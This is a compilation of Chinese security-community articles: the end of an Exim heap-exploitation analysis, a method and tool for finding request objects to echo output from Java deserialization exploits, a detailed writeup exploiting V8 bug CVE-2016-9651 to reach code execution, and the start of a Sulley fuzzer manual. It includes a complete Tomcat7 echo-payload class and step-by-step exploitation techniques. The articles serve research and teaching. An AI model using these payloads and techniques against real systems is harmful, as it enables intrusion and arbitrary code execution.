POOL_SEARCH:保存搜索的数据，在search_tidyup、search_open、internal_search_find函数中被使用。
Exim会循环读取消息，并动态分配内存，申请内存的函数包括：expand_string()、store_get()、string_xxx()，store_get_perm()会使用perm
pool。
将配置文件/usr/exim/configure中的“control =
dkim_disable_verify”注释，可以触发进程崩溃，进而控制rip，分析原因如下：
在receive_msg函数中会判断是否开启dkim，如果开启就会进入dkim_exim_verify_init函数：
dkim_exim_verify_init函数里在perm pool中申请内存：
使得在堆中分配一块内存，同时不改变current_block[0]中的值，后续对消息处理时会在main
pool中分配堆块，分配一块0x2010大小的堆块，释放后，由于之前perm pool分配的堆块，使得释放的堆块不和top
chunk合并，变成一个unsorted bin，此时fd和bk指向main arena区域。再进一次store
extend后，通过store_get会获得指向main arena的指针，之后memcpy对main
arena进行写操作，后续的free操作会造成崩溃，RIP会变成填充的数据。
具体的细节如下图：
##### 默认配置下控制rip
在devcore公司公布具体细节后，我们对默认配置下如何控制rip进行了分析。其实原理和开启dkim配置类似，需要在top_chunk前分配一块在使用的堆块，防止后面释放的堆块和top_chunk合并，作者的poc是利用DATA来发送一个足够大的数据来扩展堆块，循环多次后，期间释放了之前的堆块，变成了一个大的unsorted
bin块供后续分配。此时top_chunk之前就有了正在使用的堆块，再利用BDAT命令达到控制rip的目的。
具体控制rip的流程如下：
通过上面分析，将chunking_advertise_hosts 的值设置为空，这样可以禁用ESMTP CHUNKING 扩展，使BDAT
不可用，从而避免被攻击者利用。
#### 总结
应用安全不仅仅只有漏洞，一种名为“供应链攻击”的网络攻击行为也需要我们警惕。它通过一些技术手段在软件的软件开发，软件分发，使用升级等环节进行污染，最后达到盗取用户隐私、植入木马、盗取数字资产等目的。比如今年的XshellGhost事件，Ccleaner恶意代码攻击事件，OSX/Proton后门攻击事件等。这种攻击危险且难以防御。软件厂商首先要加强自身安全体系建设，并且安全厂商之间也已经在威胁情报和安全数据等方面进行更为明确化，纵深化的整合。这样才能有效的抵御供应链攻击。
因为区块链技术的发展和虚拟货币投资的浪潮，2017年以挖矿为目的的网络攻击行为特别活跃。这种攻击主要针对服务器，IoT设备或者浏览器，通过弱口令扫描，漏洞或者Javascript挖矿程序进行恶意挖矿。其中系统漏洞、web容器和应用方面的漏洞因为目的性强且回馈率高，成为了黑产的首选。比如struts2、WebLogic挖矿事件，每当有利用难度低的漏洞被披露。都会引发一波以挖矿为目的的网络攻击。
应用安全带来的风险相对比较容易避免，操作系统提供了各种漏洞缓解机制使得可利用漏洞仅占很小一部分。对于个人用户，从正规渠道下载软件，并且具有良好的上网习惯，注意更新软件，可以杜绝大部分的安全问题。对于web容器的安全，需要运维人员及时进行安全更新。更加希望软件开发者，从以上的分析带来一些思考，规避上述漏洞中的一些问题。
## 参考链接
<http://bobao.360.cn/learning/detail/3649.html>
<http://struts.apache.org/docs/s2-052.html>
[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-11779)
<https://support.microsoft.com/en-us/help/3197835/description-of-the-security-update-for-windows-xp-and-windows-server>
http://www.catalog.update.microsoft.com/search.aspx?q=3197835
<http://blog.nsfocus.net/windows-server-2003-r2-iis-6-0-vulnerability-protection-scenario/>
<https://www.vulbox.com/knowledge/detail/?id=8>
<https://support.microsoft.com/en-us/help/3197835/description-of-the-security-update-for-windows-xp-and-windows-server>
<http://whereisk0shl.top/cve-2017-7269-iis6-interesting-exploit.html>
<https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/>
<https://www.secpulse.com/archives/57310.html>
<http://xlab.tencent.com/cn/2017/04/18/nsa-iis-vulnerability-analysis/>
<http://bobao.360.cn/learning/detail/3664.html>
<https://threathunter.org/topic/59428ae855cbee0e1e5cad23>
<https://www.vulbox.com/knowledge/detail/?id=8>
<https://hackerone.com/reports/242831>
<https://hackerone.com/reports/226756>
<https://hackerone.com/reports/243470>
<https://www.slideshare.net/phdays/ss-76515896>
<https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf>
<http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html>
<http://nginx.org/download/patch.2017.ranges.txt>
[https://bugs.chromium.org/p/project-zero/issues/detail?id=1324&desc=2](https://bugs.chromium.org/p/project-zero/issues/detail?id=1324&desc=2)
<http://thehackernews.com/2017/07/cisco-webex-vulnerability.html>
<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170717-webex>
<https://www.mail-archive.com/[email protected]/msg1466490.html>
<https://github.com/gitster/git/commit/4274c698f46a9bc45834c4904e7e113450c042fb> | 社区文章 |
**作者：c0ny1**
**原文链接：<https://mp.weixin.qq.com/s/uWyHRexDZWQwp81lWjmqqw>**
## 0x01 前言
本文献给永远的`Avicii`,严格意义上我不算是一个`reaver`。但并不妨碍我深深的喜欢你的作品，它们陪伴着我度过了无数个编程的夜晚，十分感谢。今天不同人用不同的方式怀念你，我不会作曲，也不敢纹身。能给你分享的是我所热爱的事，在我看来这是最有质感的东西。R.I.P
## 0x02 背景
最近圈子里各位师傅都在分享shiro回显的方法，真是八仙过海过海各显神通。这里我也分享下自己针对回显的思考和解决方案。师傅们基本都是考虑中间件为Tomcat，框架为Shiro的反序列化漏洞如何回显。
**这里我从更大的层面来解决回显问题。也就是在任意中间件下，任意框架下可执行任意代码的漏洞如何回显？**
## 0x03 基本思路
回显的方式有很多种类，通过获取request对象来回显应该是最优雅通用的方法。而之前师傅们获取requst的方式基本都是去阅读和调试中间件的源码，确定requst存储的位置，最终反射获取。其实提炼出来就是两个步骤。
#### 第一步：寻找存储有request对象的全局变量
这一步定位的是requst存储的范围，需要靠知识沉淀或阅读源码来确定request对象被存储到那些全局变量中去了。
为何要考虑全局变量呢？这是因为只有是全局的，我们才能保证漏洞触发时可以拿到这个对象。
按照经验来讲Web中间件是多线程的应用，一般requst对象都会存储在线程对象中，可以通过`Thread.currentThread()`或`Thread.getThreads()`获取。当然其他全局变量也有可能，这就需要去看具体中间件的源码了。比如前段时间先知上的李三师傅通过查看代码，发现`[MBeanServer](https://xz.aliyun.com/t/7535)`中也有request对象。
#### 第二步：半自动化反射搜索全局变量
这一步定位的是requst存储的具体位置,需要搜索requst对象具体存储在全局变量的那个属性里。我们可以通过反射技术遍历全局变量的所有属性的类型，若包含以下关键字可认为是我们要寻找的request对象。
* Requst
* ServletRequest
* RequstGroup
* RequestInfo
* RequestGroupInfo
* …
## 0x04 编码实现
思路虽然简单，但实现反射搜索的细节其实还是有很多坑的，这里列举一些比较有意思的点和坑来说说。
#### 4.1 限制挖掘深度
对于隐藏过深的requst对象我们最好不考虑，原因有两个。
* 第一个是这样反射路径过长，就算是搜索到了，最终构造的payload数据会很大，对于shiro这种反序列化数据在头部的漏洞是致命的。
* 第二个是挖掘时间会很长，因为JVM虚拟机内存中的对象结构其实是非常的复杂的，一个对象的属性往往嵌套着另一个对象，另一个对象的属性继续嵌套其他对象…
可以声明两个变量来代表当前深度和最大深度，通过防止当前深度大于最大深度，来限制挖掘深度。
int max_search_depth = 1000; //最大挖掘深度
int current_depth = 0 //当前深度
while(...){
//最多挖多深
if(current_depth > max_search_depth){
continue;
}
//搜索
...
current_depth++;
}
#### 4.2 排除相同引用的对象
一个对象中可能会存在其他对象多个相同的实例(引用相同)，是不能重复去遍历它属性的，否则会进入死循环。可以声明一个`visited`集合来存储已经遍历过的对象，在遍历之前先判断对象是否在该集合中，防止重复遍历！
Set<Object> visited = new HashSet<Object>();
if(!visited.contains(filed_object)){
visited.add(filed_object);
//继续搜索
...
}
//跳过
...
#### 4.3 设置黑名单
某些类型不可能存有requst，一般有如下的系统类型,和一些自定义的类型。对于这些类型的对象的遍历只会浪费时间，我们可以设置一个黑名单将其排除掉。
* java.lang.Byte
* java.lang.Short
* java.lang.Integer
* java.lang.Long
* java.lang.Float
* java.lang.Boolean
* java.lang.String
* java.lang.Class
* java.lang.Character
* java.io.File
* …
#### 4.4 搜索继承的所有属性
`getFields()`和`getDeclaredFields()`其实都没法获取对象的所有属性，导致搜索会有遗漏。比如一个对象的父类的父类的一个私有属性，我们怎么获取呢？
//向上循环 遍历父类
for (; clazz != Object.class; clazz = clazz.getSuperclass()) {
Field[] fields = clazz.getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
//搜索
...
}
}
#### 4.5 深度优先 vs 广度优先
深度优先顾名思义就是会按照深度方向挖掘，它会先遍历至全局变量第一个属性最深层的所有末端，在继续第二属性依次类推。这样挖掘出来的反射链是比较长的。
在我实现完深度优先算法后，发现最致命的还不是反射链过长问题。深度优先可能会错过比较短的反射链。这是因为同一个requst对象的引用可能被存储在全局对象的多个属性中，有些藏的比较深，有的藏的比较浅。深度优先往往会先挖掘到比较深的那个，而根据我们相同对象不会第二次搜索原则，当搜索到存储比较浅的引用时，会被忽略了。这就导致我们只挖掘到了藏的比较深的，而错过了比较浅的。
在学过算法，我们都知道广度优先就能解决路径最短问题，在这个问题上也是如此。针对上图的情况，两种算法挖掘的结果如下。
深度优先挖掘到两条反射链
1. 全局变量 > Field01 > Field03 > Request@111
2. 全局变量 > Field04 > Request@222
广度度优先挖掘到两条反射链
1. 全局变量 > Request@111
2. 全局变量 > Field04 > Request@222
而在实际环境中差别更加明显，以下是Tomcat8下搜索记录的对比。
## 0x05 实战挖掘
基于以上想法，我设计了一款java内存对象搜索工具java-object-searcher，它可以很方便的帮助我们完成对request对象的搜索，当然不仅仅用于挖掘request。下面以`Tomcat7.0.94`为例挖掘requst。
项目地址：<https://github.com/c0ny1/java-object-searcher>
#### 5.1 引入java-object-searcher
去[java-object-searcher项目的releases](https://github.com/c0ny1/java-object-searcher/releases)下载编译好的jar，引入到web项目和调试环境中。
#### 5.2 编写调用代码进行搜索
然后我们需要断点打在漏洞触发的位置，因为全局变量会随着中间件和Web项目运行被各个模块修改。而我们需要的是漏洞触发时，全局变量的状态（属性结构和值）。
接着在IDEA的`Evaluate`中编写java-object-searcher的调用代码，来搜索全局变量。
//设置搜索类型包含ServletRequest，RequstGroup，Request...等关键字的对象List<Keyword> keys = new ArrayList<>();
keys.add(newKeyword.Builder().setField_type("ServletRequest").build());
keys.add(newKeyword.Builder().setField_type("RequstGroup").build());
keys.add(newKeyword.Builder().setField_type("RequestInfo").build());
keys.add(newKeyword.Builder().setField_type("RequestGroupInfo").build());
keys.add(new Keyword.Builder().setField_type("Request").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = newSearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("D:\\apache-tomcat7.0.94\\bin");
searcher.searchObject();
#### 5.3 根据挖掘结果构造回显payload
根据上述挖掘到的反射链来构造回显，具体代码如下：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.tomcat.util.buf.ByteChunk;
import java.lang.reflect.Field;import java.util.ArrayList;
public class Tomcat7EchoByC0ny1 extends AbstractTranslet {
public Tomcat7EchoByC0ny1(){
try {
Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);
Thread[] threads = (Thread[]) obj;
for (Thread thread : threads) {
if (thread.getName().contains("http-apr") && thread.getName().contains("Poller")) {
try {
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread);
field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("global");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("processors");
field.setAccessible(true);
obj = field.get(obj);
ArrayList processors = (ArrayList) obj;
for (Object o : processors) {
try {
field = o.getClass().getDeclaredField("req");
field.setAccessible(true);
obj = field.get(o);
org.apache.coyote.Request request = (org.apache.coyote.Request) obj;
byte[] buf = "Test by c0ny1".getBytes();
ByteChunk bc = new ByteChunk();
bc.setBytes(buf, 0, buf.length);
request.getResponse().doWrite(bc);
}catch (Exception e){
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
最终生成反序列化数据提交至服务器即可回显
通过`java-object-searcher`，我不仅挖掘到了之前师傅们公开的链，还挖掘到了其他未公开的。同时在其他中间件下也实现了回显，下面列举几个比较冷门的中间件。
**1\. Jetty**
**2\. WildFly**
**3\. Resin**
## 0x06 最后的思考
有了半自动化，就想着全自动。这种运行时动态挖掘的局限性是需要人工确定那些全局变量存有request，这是只能半自动的原因。那么是否可以通过静态分析源码的方式来解决呢？比如[gadgetinspector](https://github.com/JackOfMostTrades/gadgetinspector)原来是挖掘gadget的，能否更换它的`source`和`slink`定义，将其改造为全自动化挖掘request呢？有兴趣的朋友可以去试试。
PS:写到这里我在想Avicii在写完《The Nights》时是怎样的心情，或许和我此时的心情一样，无以言表。
* * * | 社区文章 |
作者： **[龚广_OldFresher](http://weibo.com/u/5274004507?is_hot=1)**
原文地址：[《蝴蝶效应与程序错误 ——
一个渣洞的利用》](http://weibo.com/ttarticle/p/show?id=2309404118504042313519)
这算是我写得最详细的一个 v8 漏洞利用了，其中将一个越界读漏洞转变为越界写的思路比较有意思。
#### 1\. 介绍
一只南美洲亚马孙河流域热带雨林中的蝴蝶，偶尔扇动几下翅膀，可能在美国德克萨斯引起一场龙卷风吗？这我不能确定，我能确定的是程序中的任意一个细微错误经过放大后都可能对程序产生灾难性的后果。在11月韩国首尔举行的
PwnFest 比赛中，我们利用了 V 8的一个逻辑错误(CVE-2016-9651)来实现 Chrome
的远程任意代码执行，这个逻辑错误非常微小，可以说是一个品相比较差的渣洞，但通过组合一些奇技淫巧，我们最终实现了对这个漏洞的稳定利用。这个漏洞给我的启示是：“绝不要轻易放弃一个漏洞，绝不要轻易判定一个漏洞不可利用”。
本文将按如下结构进行组织：第二节介绍 V8
引擎中”不可见的”对象私有属性；第三节将引出我们所利用的这个细微的逻辑错误；第四节介绍如何将这个逻辑错误转化为一个越界读的漏洞；第五节会介绍一种将越界读漏洞转化为越界写漏洞的思路，这一节是整个利用流程中最巧妙的一环；第六节是所有环节中最难的一步，详述如何进行全内存空间风水及如何将越界写漏洞转化为任意内存地址读写；第七节介绍从任意内存地址读写到任意代码执行。
#### 2\. 隐形的私有属性
在 JavaScript 中，对象是一个关联数组，也可以看做是一个键值对的集合。这些键值对也被称为对象的属性。属性的键可以是字符串也可以是符号，如下所示：
代码片段1：对象属性
上述代码片段先定义了一个对象 normalObject ，然后给这个对象增加了两个属性。这种可以通过 JavaScript
读取和修改的属性我把它们称作公有属性。可以通过 JavaScript 的 Object 对象提供的两个方法得到一个对象的所有公有属性的键，如下
JavaScript 语句可以得到代码1中 normalObject 对象的所有公有属性的键。
执行结果：ownPublicKeys的值为["string", Symbol(d)]
在 V8 引擎中，除公有属性外，还有一些特殊的 JavaScript 对象存在一些特殊的属性，这些属性只有引擎可以访问，对于用户 JavaScript
则是不可见的，我将这种属性称作私有属性。在 V8 引擎中，符号(Symbol)也包括两种，公有符号和私有符号，公有符号是用户 JavaScript
可以创建和使用的，私有符号则只有引擎可以创建，仅供引擎内部使用。私有属性通常使用私有符号作为键，因为用户 JavaScript
不能得到私有符号，所有也不能以私有符号为键访问私有属性。既然私有属性是隐形的，那如何才能观察到私有属性呢？d8 是 V8 引擎的 Shell 程序，通过
d8 调用运行时函数 DebugPrint 可以查看一个对象的所有属性。比如我们可以通过如下方法查看代码1中定义的对 normalObject 的所有属性：
从上示d8输出结果可知，normalObject仅有两个公有属性，没有私有属性。现在我们来查看一个特殊对象错误对象的属性情况。
对比一下 specialObject 对象的公有属性和所有属性可以发现所有属性比公有属性多出了一个键为 stack_trace_symbol
的属性，这个属性就是 specialObject 的一个私有属性。下一节将介绍与私有属性有关的一个 v8 引擎的逻辑错误。
#### 3\. 微小的逻辑错误
在介绍这个逻辑错误之前，先了解下 Object.assign 这个方法,根据 ECMAScript/262 的解释[1]:
The assign function is used to copy the values of all of the enumerable own
properties from one or more source objects to a target object
那么问题来了，私有属性是 v8 引擎内部使用的属性，其他 JavaScript
引擎可能根本就不存在私有属性，私有属性是否应该是可枚举的，私有属性应不应该在赋值时被拷贝，ECMAScript 根本就没有做规定。我猜 v8
的开发人员在实现 Object.assign 时也没有很周密的考虑过这个问题。私有属性是供 v8
引擎内部使用的属性，一个对象的私有属性不应该能被赋给另一个对象，否则会导致私有属性的值被用户 JavaScript 修改。v8 是一个高性能的
JavaScript 引擎，为了追求高性能， 很多函数的实现都有两个通道，一个快速通道和一个慢速通道，当一定的条件被满足时，v8
引擎会采用快速通道以提高性能，因为使用快速通道出现漏洞的情况有不少先例，如 CVE-2015-6764[2]、 CVE-2016-1646
都是因为走快速通道而出现的问题。同样，在实现 Object.assign 时，v8 也对其实现了快速通道,如下代码所示[3]：
代码片段2：逻辑错误
在 Object.assign
的快速通道的实现中，首先会判断当前赋值是否满足走快速通道的条件，如果不满足，则直接返回失败走慢速通道，如果满足则会简单的将源对象的所有属性都赋给目标对象，并没有过滤那些键是私有符号并且具有可枚举特性的属性。如果目标对象也具有相同的私有属性，则会造成私有属性重新赋值。这就是本文要讨论的逻辑错误。Google
对这个错误的修复很简单［4］，给对象增加任何属性时，如果此属性是私有属性，则给此属性增加不可枚举特性。现在蝴蝶已经找到了，那它如何扇动翅膀可以实现远程任意代码执行呢，我们从第一扇开始，将逻辑错误转化为越界读漏洞。
#### 4\. 从逻辑错误到越界读
现在我们有了将对象的可枚举私有属性重赋值的能力，为了利用这种能力，我遍历了 v8
中所有的私有符号[5]，尝试给以这些私有符号为键的私有属性重新赋值，希望能能搅乱 v8
引擎的内部执行流程，令人失望的是我并没有多大收获，不过有两个私有符号引起了我的注意，它们是 class_start_position_symbol 和
class_end_position_symbol ，从这两个符号的前缀我们猜测这两个私有符号可能与 JavaScript 中的 class
有关。于是我们定义了一个 class 来观察它的所有属性。
果不其然，新定义的 class 中确实存在这两个私有属性。从键的名字和值可以猜测这两个属性决定了 class
的定义在源码中的起止位置。现在我们可以通过给这两个属性重新赋值来实现越界读。
上图是在 Chrome 54.0.2840.99 的 console 中的运行输出结果，最后一行等同于 short.toString()
的结果，我们可以看到，最后一行的最后两个字符不正常，它们是发生了越界读的结果。可以通过 substr
方法得到越界字符串的一个子串，使这个子串完全是未初始化内存或者部分是初始化内存部分是未初始化化内存都是可行的。
#### 5\. 从越界读到越界写
在检查了所有其他私有符号后，并没有发现其他有意义的私有属性重赋值可被利用，现在我们唯一的收获是有了一个越界读漏洞，那么一个越界读漏洞可以转换为越界写吗？听起来匪夷所思，但在一定条件下是可以的。第四节的最后我们得到了一个可越界读的字符串
short.toString() ，而在 JavaScript
中，字符串是不可变的，每次对它的修改（如append）都会返回一个新的字符串，那么如何使用这个可越界读的字符串实现越界写呢？首先我们需要了解这样一个事实，因为这是一个越界的字符串，而在程序执行时垃圾回收，内存分配操作是随机，所以越界部分的字符是不确定的，多次访问同一个越界的字符串返回的字符串内容可能是不一样的，这就间接使得字符串是可变的。然后需要了解
JavaScript 中的一组函数，escape 和 unescape，他们分别实现对字符串的编码和解码。unescape 在 v8
中的内部实现如下[6]：
代码片段3：unescape的内部实现
unescape 的 v8 内部实现可以分为三步，假设输入参数 string
是我们前面构造的越界字符串，第一步是计算这个字符串解码后需要的存储空间大小；第二步分配空间用来存储解码后的字符串；第三步进行真正的解码操作。第一步和第三步都扫描了整个输入串，但因为输入是一个越界串，第一步和第三步扫描的字符串的内容可能不一样，从而导致第一步计算出的长度并不是第三步所需要的长度，从而使第三步解码时发生越界写。需要注意的是，这个函数的实现并没有问题，根本原因是输入的字符串是一个越界串，这个越界串的内容是不确定的。我们举例来说明越界到底是如何发生的。因为v8新分配的对象都位于
New Space[7], New Space 采用的垃圾回收算法是 Cheney's algorithm[8] ,所以 New Space
中对象的分配是顺序分配的。假设我们已经将 New Space 喷满字符串 "%a" ,越界写的执行流程示意如下：
a)下图为初始内存状态，全是未分配内存，内容为喷满的”%a”字符串；
b)下图为在创建了越界串之后，在执行 unescape 之前的内存状态，假设创建的越界串的内容为 "dd%a" ,其中 "dd"
位于已初始化的内存空间中, "%a" 位于未分配的内存中；
c)下图为在执行了代码片段3的第二步后的内存状态，r 代表随机值。分配的 RawOneByteString
为16字节，包括12字节的头部和4字节的解码后的字符（因为第一次访问越界字符串时内容为 "dd%a" ,所以计算的解码后的字符串应该是 "dd%a"
,为四个字节）
d)下图为执行完代码片段3的第三步后的内存状态，也就是完成 unescape 后的内存状态，因为在执行完第二步后越界字符串的内容已经变为 "ddrrrr"
, r 是随机值，一般不会是字符 '%' ,所以解码后的字符串仍然是 "ddrrrr" ,导致两个字符的越界写。
#### 6\. 从越界写到任意地址读写
从越界读到越界写是整个利用过程中最巧妙的一环，但从越界写到任意地址读写却是最难的一步。一个越界写漏洞要能被利用必须有三个必要条件，长度可控，写的源内容可控，被覆盖的目的内容可控。对这个漏洞而言，前两个条件很容易满足，但要满足第三个条件颇费周折。
从上一节的最后一个图中可以看到，越界写覆盖的两个字节是未分配的内存。因为 v8 中在 New Space
中分配对象是顺序分配的，而在代码片段3的第二步和第三步之间没有分配任何对象，所有 RawOneByteString
后总是未分配的内存空间，改写未分配的内存数据没有任何意义。那么如何使 RawOneByteString
对象后的内容是有意义的数据就成了从越界写到任意地址写的关键。
首先想到的是能不能控制在分配 RawOneByteString 时触发一次 GC ，使得分配的 RawOneByteString
被重新拷贝，从而使得它之后的内存是已分配的其它对象，经过深入分析后发现此路不通，因为一个新分配的对象的第一次 GC 拷贝只是在两个半空间(from
space 和 to space)之间移动，拷贝后还是在 New Space 内部，拷贝后 RawOneByteString
之后的内存依然是未分配的内存数据。
第二种思路是越界写时写过 New Space 的边界，改写非 New Space 内存的数据。这需要跟在 New Space
后的内存区间是被映射的内存并且是可写的。New Space
的内存范围是不连续的，它的基本块的大小为1MB，最大可以达到16MB，所以越界写时可以选择写过任意一个基本块的边界。我们需要通过地址空间布局将我们需要被覆盖的内容被映射到一个
New Space 基本块之后。将一个 Large Space[7] 的基本块映射到 NewSpace 基本块之后是一个比较好的选择，这样可以能覆盖
Large Space 中的堆对象。不过这里有个障碍，我们应该记得，当第一个参数为 NULL 时，mmap 映射内存是总是返回 mm->mmap_base
到 TASK_SIZE 之间能够满足映射大小范围的最高地址，也就是说一般多次 mmap
时返回的地址应该是连续的，这样的特性很有利于操纵内存空间布局，但很不幸的是，chrome 在分配堆的基本块时，第一个参数给的是随机值，如下代码所示[9]：
这使得 New Space 和 Large Space 分配的基本块总是随机的，Large Space 的基本块刚好位于 New Space
之后后几率很小。我们采取了两个技巧来保证 Large Space 基本块刚好分配在 New Space 基本块之后。
第一个技巧是使用 web worker 绕开不能进行地址空间布局的情形；New Space 起始保留地址是
1MB，为一个基本块，随着分配的对象的增加，最大可以增加到 16MB，这16个基本块是不连续的，但一旦增加到
16MB，它的地址范围就已经确定了，不能再修改，如果此时 New Space 的内存布局如下图所示：
即每一个 New Space 的基本块后都映射了一个只读的内存空间，这样无论怎样进行地址空间布局都不能在 New Space 之后映射 Large
Space ，我们采用了 web worker 来避免产生这种状态，因为 web worker 是一个单独的 JS 实例，每一个 web worker 的
New Space 的地址空间都不一样，如果当前 web worker 处于上图所示状态，我们将结束此次利用，重新启动一个新的 webworker
来进行利用，期望新的 web worker 内存布局处于以下状态，至少有一个 New Space 基本块之后是没有映射的内存地址空间：
现在使用第二个技巧，我将它称为暴力风水，这与堆喷射不太一样，堆喷是指将地址空间喷满，但 chrome 对喷射有一定的限制，它对分配的 v8 对象和 dom
对象的总内存大小有限制，往往是还没将地址空间喷满， chrome 就已经自动崩溃退出了。暴力风水的方法如下：先得到16个 New Space
基本块的地址，然后触发映射一个 Large Space 基本块，我们通过分配一个超长字符串来分配一个 Large Space 基本块；判断此 Large
Space 基本块是否位于某一 New Space 基本块之后，若不是，则释放此 Large Space 基本块，重新分配一个 Large Space
基本块进行判断，直到条件满足，记住满足条件的 Large Space 基本块之上的 New Space 基本块的地址，在此 New Space
基本块中触发越界写，覆盖紧随其后的 Large Space 基本块。
当在 v8 中分配一个特别大（大于 kMaxRegularHeapObjectSize==507136）的 JS 对象时，这个对象会分配在 Large
Space 中，在 Large Space 基本块中，分配的 v8 对象离基本块的首地址的偏移是 0x8100 ，基本块的前 0x8100
个字节是基本块的头，要实现任意地址读写，我们只需要将 Large Space 中的超长字符串对象修改成 JSArrayBuffer
对象即可，但在改写前需要保存基本块的头，在改写后恢复，这样才能保证改写只修改了对象，没有破坏基本块的元数据。要精确的覆盖 Large Space
基本块中的超长字符串，根据 unescape 的解码规则有个较复杂的数学计算，下图是执行 unescap 前的内存示意图：
假设 Large Space 基本块的起始地址为 border address，border address 之上是 New Space ,之下是
Large Space , 需要被覆盖的超长字符串对象位于 border+0x8100 位置，我们构造一个越界串，它的起始地址为
border-0x40000 ,结束地址为 border-0x2018 ,其中 border-0x40000 到 border-0x20000
范围是已分配并已初始化的内存，存储了编码后的 JSArrayBuffer 对象和辅助填充数据 “a”, border-0x20000 到
border-0x2018 是未分配内存，存取的数据为堆喷后的残留数据 “a”, 整个越界串的内容都是以 “%xxy”
的形式存在，y不是字符%,整个越界串的长度为 (0x40000-0x2018)，所以 unescape 代码片段3中第一步计算出的目的字符串的长度为
(0x40000-0x2018)/2 ,起始地址为 border-0x20000 ，执行完 unescape 后的内存示意图如下：
在执行完代码片段3第二步后， Write Point 指向 border-0x20000+0xc ，因为 NewRawOneByteString
创建的对象的起始地址为 border-0x20000 ,对象头为12个字节。
我们将代码片段3的第三步人为地再分成三步，第一步，解码从 border-0x40000 到 border-0x20000 的内容，因为此区间的内容为
“%xxy” 形式，所以解码后长度会减半，解码后写的地址范围为 border-0x20000+0xc 到 border-0x10000+0xc ，解码后的
JSArrayBuffer 位于此区间的 border-0x17f18 ；第二步，解码从 border-0x20000 到 border-0x10000
的内容，因为此时此区间不含%号，所以解码只是简单拷贝，解码后长度不变，解码后写的地址范围为 border-0x10000+0xc 到 border+0xc
，解码后的 JSArrayBuffer 位于此区间的 border-0x7f0c ，第三步，解码从 border-0x10000 到
border-0x2018 (越界串的边界)的内容，这步解码还是简单拷贝，解码后写的地址范围为 border+0xc 到 border+0xdfe8
，解码后的 JSArrayBuffer 正好位于 border+0x8100 ，覆盖了在 Large Space 中的超长字符串对象。在
JavaScript 空间引用此字符串其实是引用了一个恶意构造的 JSArrayBuffer 对象，通过这个 JSArrayBuffer
对象可以很容易实现任意地址读写,就不再赘述。
#### 7\. 任意地址读写到任意代码执行
现在已经有了任意地址读写的能力，要将这种能力转为任意代码执行非常容易，这一步也是所有步骤中最容易的一步。Chrome 中的 JIT 代码所在的页具有 rwx
属性，我们只需找到这样的页，覆盖 JIT 代码即可以执行 ShellCode 。找到 JIT 代码也很容易，下图是 JSFunction
对象的内存布局，其中 kCodeEnryOffset 所指的地址既是 JSFucntion 对象的 JIT 代码的地址。
#### 8.总结
这篇文章从一个微小的逻辑漏洞出发，详细介绍了如何克服重重阻碍，利用这个漏洞实现稳定的任意代码执行。文中所述的将一个越界读漏洞转换为越界写漏洞的思路，应该也可以被一些其他的信息泄露漏洞所使用，希望对大家有所帮助。
对于漏洞的具体利用，此文中还有很多细节没有提及，真正的利用流程远比文中所述复杂，感兴趣的可以去看这个漏洞的详细利用[10]。
#### 引用
[1]<https://www.ecma-international.org/ecma-262/7.0/index.html#sec-object.assign> [2]<https://github.com/secmob/cansecwest2016/blob/master/Pwn a
Nexus device with a single vulnerability.pdf>
[3]<https://chromium.googlesource.com/v8/v8/+/chromium/2840/src/builtins/builtins-object.cc#65>
[4]<https://codereview.chromium.org/2499593002/diff/1/src/lookup.cc>
[5]<https://chromium.googlesource.com/v8/v8/+/chromium/2840/src/heap-symbols.h#160>
[6]<https://chromium.googlesource.com/v8/v8/+/chromium/2840/src/uri.cc#333>
[7]<http://jayconrod.com/posts/55/a-tour-of-v8-garbage-collection>
[8]<https://en.wikipedia.org/wiki/Cheney's_algorithm>
[9]<https://chromium.googlesource.com/v8/v8/+/chromium/2840//src/base/platform/platform-linux.cc#227>
[10]<https://github.com/secmob/pwnfest2016>
* * * | 社区文章 |
# 前言
这里时Sulley使用手册的第二部分。
手册链接：<http://www.fuzzing.org/wp-content/SulleyManual.pdf>
# Sessions
一旦定义了许多request，就可以在session中将它们绑定在一起了。
Sulley相对于其他fuzz框架的主要优点之一是它能够在协议中“深入”fuzz，这是通过将request链接在一个graph(图)中实现的。在下面的示例中，request序列被绑定在一起，并且利用session和请求类扩展的PGRAPH库，以UDRAW格式呈现图形：
from sulley import *
s_initialize("helo")
s_static("helo")
s_initialize("ehlo")
s_static("ehlo")
s_initialize("mail from")
s_static("mail from")
s_initialize("rcpt to")
s_static("rcpt to")
s_initialize("data")
s_static("data")
sess = sessions.session()
sess.connect(s_get("helo"))
sess.connect(s_get("ehlo"))
sess.connect(s_get("helo"), s_get("mail from"))
sess.connect(s_get("ehlo"), s_get("mail from"))
